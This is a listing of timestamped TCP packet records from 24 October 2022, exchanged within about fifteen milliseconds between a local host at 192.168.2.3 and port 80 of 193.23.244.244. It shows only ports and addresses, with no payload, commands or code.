Oct 24, 2022 11:00:11.062556028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.062561989 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.062614918 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.064279079 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064306021 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064322948 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064342022 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064358950 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064378023 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064395905 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064414024 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064418077 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.064436913 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064448118 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.064457893 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064466953 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.064502001 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.064515114 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064533949 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064553976 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064572096 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064589977 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064604998 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.064608097 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064626932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064647913 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.064853907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064873934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.064903975 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.065052986 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065078020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065095901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065114021 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065118074 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.065133095 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065150976 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065165997 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.065169096 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065232038 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.065602064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065623045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065685034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065707922 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.065717936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065737963 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065756083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065766096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.065777063 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065794945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065810919 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.065813065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065836906 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.065857887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.065912008 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.066488981 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.066510916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.066529036 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.066546917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.066565037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.066566944 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.066584110 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.066591978 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.066601992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.066643953 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.066704035 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.067044020 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.067971945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.067991972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068015099 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068033934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068033934 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.068053007 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068062067 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.068073988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068092108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068106890 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.068109989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068133116 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.068480968 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068522930 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068537951 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.068541050 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068568945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068586111 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.068624020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068643093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068661928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068667889 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.068681002 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068701982 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.068727970 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.068768024 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.069093943 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.069112062 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.069128990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.069163084 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072297096 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072316885 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072334051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072352886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072370052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072374105 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072422981 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072434902 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072441101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072459936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072472095 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072487116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072490931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072505951 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072524071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072530031 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072551012 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072577953 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072809935 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072829008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072846889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072863102 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072865009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072884083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072891951 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.072902918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.072927952 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073040009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073060036 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073082924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073091030 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073101997 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073121071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073121071 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073139906 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073158026 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073162079 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073206902 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073246956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073266029 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073282957 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073299885 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073303938 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073318958 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073337078 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073337078 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073380947 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073398113 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073431969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073451042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073472977 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073487043 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073519945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073527098 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073539972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073580027 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073597908 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073616028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073635101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073652983 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073654890 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073672056 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073689938 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073690891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073712111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073728085 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073729038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073748112 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073764086 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073766947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073787928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073802948 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073806047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073827028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073844910 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073846102 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073863983 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073882103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073883057 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073904037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073919058 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073925018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073945999 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073962927 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.073967934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.073987961 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074007034 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074008942 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074028969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074045897 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074048042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074062109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074083090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074098110 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074100971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074120998 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074139118 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074145079 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074157953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074166059 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074177980 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074196100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074199915 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074215889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074234009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074239016 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074253082 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074270964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074285030 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074290991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074306965 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074311018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074330091 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074347973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074358940 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074368000 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074387074 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074389935 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074407101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074424028 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074424982 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074445963 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074464083 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074465036 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074484110 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074501991 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074503899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074525118 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074541092 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074542999 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074563026 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074582100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074584007 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074603081 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074621916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074621916 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074640989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074656963 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074660063 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074680090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074696064 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074697971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074717999 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074734926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074736118 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074754000 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074771881 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074771881 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074791908 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074810028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074810028 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074830055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074847937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074848890 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074867964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074893951 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074898005 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074918032 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074937105 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074938059 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074955940 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074975014 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.074975014 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.074992895 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075017929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075017929 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075037956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075056076 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075057030 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075078964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075094938 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075097084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075117111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075133085 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075134993 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075154066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075169086 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075174093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075192928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075207949 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075211048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075231075 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075244904 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075248003 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075268030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075284004 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075376034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075396061 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075413942 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075433016 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075439930 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075452089 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075457096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075470924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075489044 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075872898 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075891972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075910091 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075927973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075932980 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075947046 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.075962067 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.075965881 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076005936 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.076287985 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076307058 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076324940 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076349974 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.076370001 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076387882 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076387882 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.076406956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076426983 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.076848984 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076869011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076886892 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076905012 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076925039 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076944113 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076946974 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.076961994 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.076965094 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077023029 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077063084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077085018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077102900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077121973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077125072 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077141047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077159882 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077162027 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077178955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077198029 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077198029 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077217102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077234030 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077236891 CEST	80	49711	193.23.244.244	192.168.2.3
